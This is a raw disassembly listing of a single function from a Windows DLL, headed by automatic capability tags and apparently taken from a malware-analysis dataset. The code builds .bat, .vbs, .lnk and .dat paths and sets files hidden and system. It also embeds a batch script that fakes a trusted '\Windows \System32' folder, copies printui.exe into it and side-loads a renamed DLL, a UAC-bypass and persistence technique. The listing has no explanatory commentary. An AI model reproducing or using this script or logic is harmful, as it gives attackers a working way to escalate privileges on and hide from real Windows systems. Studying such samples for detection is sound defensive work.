Function at 0x18004f680
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x6a0
movaps xmmword [rsp + 0x690], xmm6
mov rax, qword [0x18021a280]
xor rax, rsp
mov qword [rsp + 0x680], rax
mov r14, rdx
mov r15, rcx
xor ebx, ebx
lea r12, [0x1801fdf18]
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], 5
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x18004f6de
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xd0], xmm0
movabs rdi, 0xc000000000000000
mov qword [rsp + 0xc0], rdi
mov rcx, r15
cmp qword [r15 + 0x18], 7
jbe 0x18004f721
mov rcx, qword [r15]
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xe0], xmm0
movabs rsi, 0xc000000000000010
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x90], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x130]
call fcn.18000a600
nop
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], 5
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x18004f7d4
mov rdx, qword [r14]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xc0], rdi
lea rdx, [r14 + 0x20]
cmp qword [r14 + 0x38], 7
jbe 0x18004f80f
mov rdx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x90], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x150]
call fcn.18000a600
nop
lea rcx, [rsp + 0xa0]
call fcn.180005670
mov rdx, rax
lea rax, str..dat
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 9
lea rcx, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rcx, qword [rsp + 0x130]
mov qword [rsp + 0x110], rcx
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xc0], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x18004f919
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x90], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x190]
call fcn.18000a600
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x18004f9e9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004f9e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051351
call fcn.18008a530
movdqa xmm6, xmmword [0x1801ff550]
movdqu xmmword [rsp + 0xb0], xmm6
mov word [rsp + 0xa0], bx
lea rcx, [rsp + 0x170]
call fcn.180005670
mov rdx, rax
lea rax, str..bat
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 9
lea rcx, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rcx, qword [rsp + 0x130]
mov qword [rsp + 0x110], rcx
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xc0], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x18004fa84
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x90], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x1b0]
call fcn.18000a600
nop
mov rdx, qword [rsp + 0x188]
cmp rdx, 7
jbe 0x18004fb54
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004fb4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051357
call fcn.18008a530
movdqu xmmword [rsp + 0x180], xmm6
mov word [rsp + 0x170], bx
lea rcx, [rsp + 0xa0]
call fcn.180005670
mov rdx, rax
lea rax, str..vbs
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 9
lea rcx, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rcx, qword [rsp + 0x130]
mov qword [rsp + 0x110], rcx
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xc0], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x18004fbe7
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x90], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x230]
call fcn.18000a600
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x18004fcb7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004fcb2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005135d
call fcn.18008a530
movdqu xmmword [rsp + 0xb0], xmm6
mov word [rsp + 0xa0], bx
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], 5
lea rax, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rax, qword [rsp + 0x130]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xc0], rdi
lea rdx, [r15 + 0x20]
cmp qword [r15 + 0x38], 7
jbe 0x18004fd35
mov rdx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x30]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x90], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x250]
call fcn.18000a600
nop
lea rax, str..lnk
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 9
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x18004fde5
mov rdx, qword [r14]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xc0], rdi
lea rdx, [r14 + 0x20]
cmp qword [r14 + 0x38], 7
jbe 0x18004fe20
mov rdx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x90], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x1d0]
call fcn.18000a600
nop
lea rdx, [r15 + 0x60]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 7
jbe 0x18004feba
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
lea rcx, [rsp + 0xa0]
call fcn.180008f40
nop
mov r8d, 3
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x110]
call fcn.180024ac0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x90], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
lea r12, [0x18021b290]
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x90]
test eax, eax
je 0x18004ff8c
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x18004ff9e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004ff99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051363
jmp 0x18004ff99
mov dil, 1
test ecx, ecx
jne 0x180051369
jmp 0x18004ff47
call fcn.18008a530
test dil, dil
je 0x18005025b
mov eax, ebx
xchg byte [r15 + 0xb0], al
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 7
jbe 0x18004fff8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004fff3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051386
call fcn.18008a530
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1e8], 7
mov word [rsp + 0x1d0], bx
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x18005005c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050057
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005138c
call fcn.18008a530
movdqu xmmword [rsp + 0x260], xmm6
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x1800500b5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800500b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051392
call fcn.18008a530
movdqu xmmword [rsp + 0x240], xmm6
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x1c8]
cmp rdx, 7
jbe 0x18005010e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050109
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051398
call fcn.18008a530
mov qword [rsp + 0x1c0], rbx
mov qword [rsp + 0x1c8], 7
mov word [rsp + 0x1b0], bx
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 7
jbe 0x180050172
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005016d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005139e
call fcn.18008a530
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x1a8], 7
mov word [rsp + 0x190], bx
mov rdx, qword [rsp + 0x168]
cmp rdx, 7
jbe 0x1800501d6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800501d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800513a4
call fcn.18008a530
mov qword [rsp + 0x160], rbx
mov qword [rsp + 0x168], 7
mov word [rsp + 0x150], bx
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x18005023a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050235
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800513aa
call fcn.18008a530
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], 7
mov word [rsp + 0x130], bx
jmp 0x180051321
lea rdx, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 7
cmova rdx, qword [rsp + 0x190]
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], rbx
mov r8, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x210]
call fcn.180008f40
nop
lea rdx, [rsp + 0x1b0]
cmp qword [rsp + 0x1c8], 7
cmova rdx, qword [rsp + 0x1b0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x1f0], xmm0
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x208], rbx
mov r8, qword [rsp + 0x1c0]
lea rcx, [rsp + 0x1f0]
call fcn.180008f40
nop
lea rcx, [rsp + 0x210]
cmp qword [rsp + 0x228], 7
cmova rcx, qword [rsp + 0x210]
mov rax, qword [rsp + 0x220]
lea rsi, [rcx + rax*2]
mov rdi, rsi
mov rdx, rsi
call fcn.180023280
cmp rax, rsi
je 0x18005036b
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x180050336
cmp cx, 0x2f
jne 0x18005033f
add rax, 2
cmp rax, rsi
jne 0x180050327
cmp rax, rsi
je 0x18005036b
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rdi - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x18005036b
cmp cx, 0x2f
je 0x18005036b
mov rdi, rdx
cmp rax, rdx
jne 0x180050350
sub rsi, rdi
sar rsi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0xa0]
call fcn.180008f40
nop
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x2d0]
call fcn.1800064f0
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x1800503fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800503f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800513b0
call fcn.18008a530
lea rcx, [rsp + 0x1f0]
cmp qword [rsp + 0x208], 7
cmova rcx, qword [rsp + 0x1f0]
mov rax, qword [rsp + 0x200]
lea rsi, [rcx + rax*2]
mov rdi, rsi
mov rdx, rsi
call fcn.180023280
cmp rax, rsi
je 0x18005046c
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x180050443
cmp cx, 0x2f
jne 0x18005044c
add rax, 2
cmp rax, rsi
jne 0x180050434
cmp rax, rsi
je 0x18005046c
lea rdx, [rdi - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x18005046c
cmp cx, 0x2f
je 0x18005046c
mov rdi, rdx
cmp rax, rdx
jne 0x180050451
sub rsi, rdi
sar rsi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0xa0]
call fcn.180008f40
nop
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x330]
call fcn.1800064f0
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x1800504ff
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800504fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800513b6
call fcn.18008a530
lea rdx, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rdx, qword [rsp + 0x130]
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
mov r8, qword [rsp + 0x140]
lea rcx, [rsp + 0xa0]
call fcn.180008f40
nop
mov r8d, 3
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x110]
call fcn.180024ac0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x90], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x90]
test eax, eax
je 0x1800505ec
cmp eax, 1
setne dil
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x1800505fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800505f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800513bc
jmp 0x1800505f9
xor dil, dil
test ecx, ecx
jne 0x1800513c2
jmp 0x1800505a7
call fcn.18008a530
test dil, dil
je 0x180050634
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0xa0]
call fcn.180028db0
nop
lea rcx, [rsp + 0xa0]
call fcn.18004e450
nop
lea rcx, [rsp + 0xa0]
call fcn.180006480
lea rdx, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 7
cmova rdx, qword [rsp + 0x1d0]
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
mov r8, qword [rsp + 0x1e0]
lea rcx, [rsp + 0xa0]
call fcn.180008f40
nop
mov r8d, 3
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x110]
call fcn.180024ac0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x90], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x90]
test eax, eax
je 0x180050721
cmp eax, 1
setne dil
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x180050733
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005072e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800513df
jmp 0x18005072e
xor dil, dil
test ecx, ecx
jne 0x1800513e5
jmp 0x1800506dc
call fcn.18008a530
test dil, dil
je 0x180050769
lea rdx, [rsp + 0x1d0]
lea rcx, [rsp + 0xa0]
call fcn.180028db0
nop
lea rcx, [rsp + 0xa0]
call fcn.1800444f0
nop
lea rcx, [rsp + 0xa0]
call fcn.180006480
lea rdx, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rdx, qword [rsp + 0x130]
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], rbx
mov r8, qword [rsp + 0x140]
lea rcx, [rsp + 0x110]
call fcn.180008f40
nop
lea rcx, [rsp + 0x110]
cmp qword [rsp + 0x128], 7
cmova rcx, qword [rsp + 0x110]
call fcn.180088b94
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x180051402
mov rdx, qword [rsp + 0x128]
cmp rdx, 7
jbe 0x18005082a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050825
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005141b
call fcn.18008a530
lea rdx, [rsp + 0x150]
cmp qword [rsp + 0x168], 7
cmova rdx, qword [rsp + 0x150]
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
mov r8, qword [rsp + 0x160]
lea rcx, [rsp + 0xa0]
call fcn.180008f40
nop
mov r8d, 3
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x110]
call fcn.180024ac0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x90], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x90]
test eax, eax
je 0x180050917
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x180050929
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050924
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051421
jmp 0x180050924
mov dil, 1
test ecx, ecx
jne 0x180051427
jmp 0x1800508d2
call fcn.18008a530
test dil, dil
je 0x18005095f
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0xa0]
call fcn.180028db0
nop
lea rcx, [rsp + 0xa0]
call fcn.180044540
nop
lea rcx, [rsp + 0xa0]
call fcn.180006480
lea rcx, [rsp + 0x150]
cmp qword [rsp + 0x168], 7
cmova rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1800509ad
test al, 4
jne 0x1800509ad
lea rcx, [rsp + 0x150]
cmp qword [rsp + 0x168], 7
cmova rcx, qword [rsp + 0x150]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rcx, qword [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1800509fb
test al, 4
jne 0x1800509fb
lea rcx, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rcx, qword [rsp + 0x130]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 7
cmova rdx, qword [rsp + 0x190]
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
mov r8, qword [rsp + 0x1a0]
lea rcx, [rsp + 0xa0]
call fcn.180008f40
nop
lea rdx, [r15 + 0x60]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 7
jbe 0x180050a58
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], rbx
lea rcx, [rsp + 0x110]
call fcn.180008f40
nop
lea rdx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 7
cmova rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x110]
cmp qword [rsp + 0x128], 7
cmova rcx, qword [rsp + 0x110]
xor r8d, r8d
call fcn.1800888dc
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x180051444
mov rdx, qword [rsp + 0x128]
cmp rdx, 7
jbe 0x180050b14
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050b0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051465
call fcn.18008a530
movdqu xmmword [rsp + 0x120], xmm6
mov word [rsp + 0x110], bx
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x180050b6d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180050b68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005146b
call fcn.18008a530
xorps xmm0, xmm0
movups xmmword [rsp + 0x170], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x180], xmm1
mov r8d, reloc.LIBPQ.dll_Ordinal_14
lea rdx, str._SystemDrive__
lea rcx, [rsp + 0x170]
call fcn.180008f40
nop
lea rdx, [rsp + 0x150]
cmp qword [rsp + 0x168], 7
cmova rdx, qword [rsp + 0x150]
xorps xmm0, xmm0
movups xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0x108], rbx
mov r8, qword [rsp + 0x160]
lea rcx, [rsp + 0xf0]
call fcn.180008f40
nop
lea rcx, [rsp + 0xf0]
cmp qword [rsp + 0x108], 7
cmova rcx, qword [rsp + 0xf0]
mov rax, qword [rsp + 0x100]
lea rsi, [rcx + rax*2]
mov rdi, rsi
mov rdx, rsi
call fcn.180023280
cmp rax, rsi
je 0x180050c5b
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x180050c2f
cmp cx, 0x2f
jne 0x180050c38
add rax, 2
cmp rax, rsi
jne 0x180050c20
cmp rax, rsi
je 0x180050c5b
nop dword [rax]
lea rdx, [rdi - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x180050c5b
cmp cx, 0x2f
je 0x180050c5b
mov rdi, rdx
cmp rax, rdx
jne 0x180050c40
sub rsi, rdi
sar rsi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0xa0]
call fcn.180008f40
nop
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0xa0]
call fcn.18002a930
nop
lea rcx, str._echo_off_r_nchcp_65001_r_nexplorer__..__r_nif_not_exist__Windows_System32printui.dll____r_n_tif_exist__Windows_System32__rmdir__S__Q___Windows___r_n_tmkdir___Windows_System32__r_n_txcopy__WindowsSystem32printui.exe___Windows_System32___Y_r_n_txcopy_____Windows_System32___Y_r_n_tren__Windows_System32___printui.dll__r_n_tif_exist__Windows_System32printui.exe____r_n_t_tif_exist__Windows_System32printui.dll____r_n_t_t_tstart_____Windows_System32printui.exe__r_n_t_t__else_rmdir__S__Q___Windows___r_n_t__else_rmdir__S__Q___Windows___r_n_
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], 0x22c
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x88], rcx
lea rcx, [rsp + 0x170]
